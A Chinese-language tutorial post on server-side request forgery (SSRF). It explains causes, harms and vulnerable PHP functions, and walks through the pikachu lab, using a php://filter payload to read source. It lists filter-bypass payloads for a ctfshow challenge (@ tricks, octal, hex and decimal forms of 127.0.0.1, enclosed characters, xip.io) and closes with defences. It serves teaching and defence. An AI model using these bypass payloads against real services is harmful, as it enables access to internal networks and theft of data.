什么是SSRF?
SSRF(Server-Side Request Forgery,服务器端请求伪造)
SSRF作为一个安全漏洞,它的主要利用方法为通过攻击者发送伪造的请求来使得在目标服务器进行执行的一个安全漏洞。
攻击者可以利用这个漏洞使服务器向攻击者所构造的域发出请求。简而言之,就是利用服务器的漏洞然后用服务器的身份发送对一条构造好的请求来对服务器相应的内网进行攻击。
总而言之,目标服务器会从自身发起请求的功能点,且用户可以控制地址的参数,都可能造成SSRF漏洞。
SSRF如何攻击?
碍于防火墙或者内网的原因,一般攻击者对于内网主机或者一些服务器是无法直接进行访问的,但由于SSRF漏洞的方法,所以可以通过借助一个可直接发送请求的服务器进而对另一个服务器进行SSRF攻击以达成内网攻击
以下是对漏洞攻击流程的图片化描述
(网上有很多流程图,这里自己动手做了一个有点生草的版本增加有点趣味性)
但是这里的操作只是用作一个访问请求的发送,并没有拿下shell(不是完完全全的肉鸡跳板)
为什么会产生漏洞?
服务端提供了能够从其他服务器应用获取数据的功能
比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。
SSRF漏洞危害
信息泄露: 攻击者可以利用SSRF漏洞访问本地系统或内部网络中的敏感信息,如配置文件、数据库内容、密钥等。这些信息可能被用于后续的攻击活动,或者直接泄露给攻击者,造成严重的数据泄露。
系统利用: 攻击者可以利用SSRF漏洞进一步攻击系统内部资源,例如利用本地系统的漏洞实现进一步的提权、控制系统等。这可能导致系统完全被入侵或者被控制。
服务端请求伪造: 攻击者可以利用SSRF伪造服务端的请求,可能导致从其他系统获取敏感信息或执行未经授权的操作。这可能造成数据泄露、恶意操作等后果。
内部网络探测: 攻击者可以利用SSRF漏洞进行内部网络探测,发现内部系统的存在和结构,为进一步的攻击活动提供了便利。
攻击其他系统: 攻击者可以利用SSRF漏洞发起对其他系统的攻击,如DDoS攻击、利用其他系统的漏洞进行进一步渗透等。
漏洞成因相关函数
数据流:攻击者----->服务器---->目标地址
根据所使用的函数不同,其利用方法也不同
以下将列举一些使用不当可能导致SSRF漏洞的函数:
file_get_contents()
fsockopen()
curl_exec()
file_get_contents()
函数作用是将一整个文件读入一个字符串中
并且这个函数是用于把文件内容读入字符串的一个首选的方法
fsockopen()
函数作用是实现获取用户所制定的url是数据比如文件或者html
curl_exec()
是PHP中用于执行cURL请求的函数之一
发送请求并获取服务器的响应
漏洞靶场实操
关于curl
这里使用pikachu靶场的ssrf模块进行操作
点击标签后可以看到url中传了个url参数
打开源代码进行观察
这里从前端获得了url请求,curl_init函数会对其进行初始化,然后curl_exec函数会去执行请求,最后将结果返回前端
这里尝试传入一个其他的地址进行演示:
传入某视频网站(www.bilibili.com)可以看到显示出其页面
流程是从前端传入参数url然后通过curl_exec去进行请求,最后返回到前端页面
这里我新建了一个txt文件进行演示
接下来把地址输入到url栏上
http://127.0.0.1/pikachu/test/5.txt
这说明我们得到了这个漏洞并且可以进一步对后端服务器进行操作
关于file_get_contents
点击标签后可以发现这里与前面相似,是通过url上传参数到后台来获取信息的
查看相关后端代码
与前面的逻辑相似,但是这里使用file_get_contents函数进行读取执行,并且这个函数不仅可以对本地文件进行读取,也可以对远程文件进行读取
与前面的测试相似,再次输入某视频网站的地址,也会根据相关协议去获取网站的资源
与前面进行一个相似的测试去访问我创建的txt文件
利用其特性,如果我们想要知道它的后台php相关代码,这里可以构造一个payload去获取相关的后台php源码
payload:php://filter/read=convert.base64-encode/resource=ssrf.php
得到源码如下
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "ssrf.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="ssrf.php"></a>
</li>
<li class="active">概述</li>
</ul>
</div>
<div class="page-content">
<b>SSRF(Server-Side Request Forgery:服务器端请求伪造)</b>
<p>其形成的原因大都是由于服务端<b>提供了从其他服务器应用获取数据的功能</b>,但又没有对目标地址做严格过滤与限制</p>
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据<br>
<br>
数据流:攻击者----->服务器---->目标地址<br>
<br>
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
<pre style="width: 500px;">
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
</pre><br>
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,<b>则请做好目标地址的过滤</b>。
<br>
<br>
你可以根据"SSRF"里面的项目来搞懂问题的原因
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
漏洞可能出现点&验证
(1)分享功能:一些需要用到url地址进行资源的分享
如:http://share.xxx.com/index.php?url=http://www.xxx.com
通过url参数获取来实现一些点击网页链接跳转到指定分享内容。这里如果没有对目标地址进行范围过滤或者限制就可能有SSRF漏洞的存在
(2)资源下载/加载:通过一些url来加载或者进行资源的下载
如:http://video.xxx.com/video.php?video=http://www.xxx.com
这里如果没有对加载的参数做限制可能造成漏洞
(3)收藏功能:通过一些地址来对资源进行收藏
如:http://collect.xxx.com/collect?collect=http://collect.xxx.com/xxx
例:collect参数为资源收藏地址,如果收藏功能使用这种形式来进行资源保存,在没有限制参数的情况下可能会出现SSRF漏洞
(4)在线翻译:通过URL地址翻译对应文本的内容
(5)在线转码服务
(6)验证方法:
1.因为SSRF漏洞是通过构造服务器发送请求相关的安全漏洞,使用可以尝试抓包请求来判断是否存在
2.在页面源码中查看文件地址类型是否有如下构造
?参数=url地址
3.右键一下资源图片并在新窗口打开
这里url是https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png 说明没有SSRF漏洞
4.通过抓包软件来判断
首先已知SSRF是有服务器端发起的请求,所以在资源加载的时候是从服务器端发起的,所以本地请求中没有资源相关的请求如host www.baidu.com不是
(7)一些url关键参数
share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain
关于SSRF常用绕过
@符号绕过
@的作用有绕过检查
举例:http://www.baidu.com@10.10.10.10与http://10.10.10.10请求是相同的
这里以ctfshow358为例:
这里要求url要以http://ctf.开头然后以show结尾,这里为了进行内网访问进而得到flag,所以使用@符号进行绕过
payload:url=http://ctf.@127.0.0.1/flag.php?show
特殊封闭式符号绕过
如②
如果受到过滤可以用1②7.0.0.1来构造特殊的127.0.0.1
在浏览器中封闭式符号会被自动识别转化
ⒷⒶⓘⒹⓊ.ⒸⓄⓜ --->baidu.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
点分割符号代替
在浏览器中可以使用不一样的分割符号来替代域名中的.分割符号
替代分割符号如下
。符号
。符号
.符号
http://www。baidu。com
http://www。baidu。com
http://www.baidu.com
0的省略
当127.0.0.1被过滤时可以通过省略0来进行访问
进制转换绕过
127.0.0.1可以被转换成如下内容来进行绕过
0177.0.0.1 #八进制
修改payload为url=http://ctf.@0177.0.0.1/flag.php?show
0x7f.0.0.1 #十六进制
修改payload为url=http://ctf.@0x7f.0.0.1/flag.php?show
2130706433 #十进制
修改payload为url=http://ctf.@2130706433/flag.php?show
特殊的0
在window中0代表0.0.0.0
在Linux中0代表127.0.0.1
这里将上面的payload改为url=http://ctf.@0/flag.php?show
xip.io
xip.io是一个开源泛域名服务,会把域名解析到特定的地址
10.0.0.1.xip.io ---> 10.0.0.1
www.10.0.0.1.xip.io ---> 10.0.0.1
mysite.10.0.0.1.xip.io ---> 10.0.0.1
foo.bar.10.0.0.1.xip.io ---> 10.0.0.1
短网址绕过
如百度短地址https://dwz.cn/
如何防御SSRF
1、内部API要有相应的token保护,不能仅仅依赖内网防火墙
2、禁用不必要的协议,如除http和https外的协议外禁用file://、gopher://、dict://等。
3、过滤返回内容
4、限制请求端口为常用端口,如:80 443 8080 8090
5、设置黑名单内网ip 避免获取到内网数据和对内网的攻击
6、统一返回的错误信息 防止针对不同报错信息从而使用户得以对远端服务器的端口状态得到判断信息